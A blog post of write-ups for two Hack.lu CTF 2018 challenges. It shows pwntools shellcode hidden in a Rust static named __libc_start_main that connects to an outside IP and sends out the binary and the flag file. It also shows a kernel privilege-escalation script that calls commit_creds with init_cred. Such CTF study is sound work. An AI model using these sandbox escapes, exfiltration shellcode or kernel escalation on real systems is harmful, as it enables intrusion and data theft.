Blog of Malte Kraus

home

Hack.lu CTF 2018: Rusty Codepad + Baby Kernel

18 Oct 2018

It's time for some CTF write-ups again.

Rusty Codepad

In this challenge, one was supposed to provide a file code.rs with a function code, which would be called from a main program that looks like this:

extern crate code;
use code::code;

fn main() {
    // hidden
    code();
}

To make things more interesting, the provided code was compiled with a switch that disables all usage of unsafe, and usage of any of the include*!() macros (which could leak the contents of main.rs during compilation) was disallowed.

I first unsuccessfully tried to force a stack overflow - the Rust compiler has a static limit on the size of a stack frame, and there is no alloca/VLA support in Rust. My next idea was to use #[no_mangle] on an unsafe function and name it identically to the mangled name of code::code() which I'd mark weak to prevent linker issues with the duplicate symbol. Unfortunately, you can't mark a symbol as weak in Rust. Then I was thinking about providing my own version of free with one that prints anything it gets that looks like a flag. However, that didn't work out because Rust by default ships with a statically linked jemalloc, so overriding a dynamically linked function is not possible.

Looking through the list of attributes, I finally came up with a working solution. The code() function is actually empty, instead I embedded some shell code in a static byte array called __libc_start_main.

#[no_mangle]
#[link_section=".text"]
pub static __libc_start_main : [u8; 127] = [
  ...
];

pub fn code() {}

I first used pwntools to generate some shellcode that would leak me the compiled binary so that I could find out how the flag is retrieved in the main function:

#!/usr/bin/env python2
import sys

from pwnlib.shellcraft.amd64.linux import connect, readfile, exit
from pwnlib.asm import asm

code = readfile('/proc/self/exe', 1) + exit(0)
sys.stdout.write(asm(code, arch='amd64'))

Because the web interface for the challenge used a fancy web terminal that was not meant to display huge amounts of binary data (and required a captcha which was hard to use from curl), I changed it to send the binary to a network socket:

code = ''
code += connect('78.46.244.89', 1337)
code += readfile('/proc/self/exe', 'rbp')
code += exit(0)

Reversing this binary, I found that it just reads the flag from a file called flag.txt. So I changed the shellcode above to send this file instead of /proc/self/exe to get the flag.

Easier Solution?

Looking back, I was wondering why I even bothered with all this shell code. No unsafe code is required for reading files or opening sockets. I think, I could just have written some Rust code that does the same thing as my shellcode. Reversing the binary a bit further beyond the reference to flag.txt revealed that seccomp in strict mode was used to prevent any syscalls except read, write and _exit from working. Since our fake __libc_start_main runs instead of the normal main, this sandbox never becomes active, of course.

I guess the simplest solution would have just included an empty function for prctl to prevent seccomp from going active. Then the code::code function could have just read the flag using normal Rust code.

Baby Kernel

This was a simple kernel exploitation challenge. We were given a kernel and initrd. Booting it, a menu appeared that allowed calling an arbitrary kernel function (from ring 0) with a single argument. (For that, it loaded a custom kernel module.)

To get an idea of how to get a flag, I first modified the init script (at /init) inside the initrd to drop me into a root shell instead of the boot menu. (This took me a bit longer than expected, because I was missing the -c flag when creating the new initrd. So for my own future record this is the right command to pack a new initrd: find . | cpio -o -c > ../sh_initrd.cpio) With this root shell, it was quickly clear that we were supposed to escalate privileges from user id 1000 to root, in order to get permission to read the file /flag.

The kernel did not have any features like KASLR or KAISER enabled that would randomize the kernel addresses. (I checked this by attaching with GDB to the qemu running the kernel and comparing the addresses with those shown by r2.) So I looked a bit around the kernel sources for a function that looked like it could be used to change privileges. I started at the syscalls for the set*uid, which quickly lead to all the functions defined in creds.c. After a bit of trial and error, I ended up calling the function commit_creds (which changes the credentials of the current process to those specified in a struct cred * it receives as only param). As a parameter, I gave it a reference to the global variable init_cred, which holds for the credentials of the init process (which runs as root).

To get the flag, I piped the output of this script to nc (and for testing into qemu):

#!/usr/bin/env python3
import sys
from time import sleep

init_creds = 0xffffffff81a3c4e0
commit_creds = 0xffffffff8104e9d0

sleep(5)
print('.', file=sys.stderr)


def call(what, arg):
    print(1)
    print(what)
    print(arg)


def id():
    print(2)


def read_file(name):
    print(3)
    print(name)


def bye():
    print(5)


call(commit_creds, init_creds)
id()
read_file('/flag')
bye()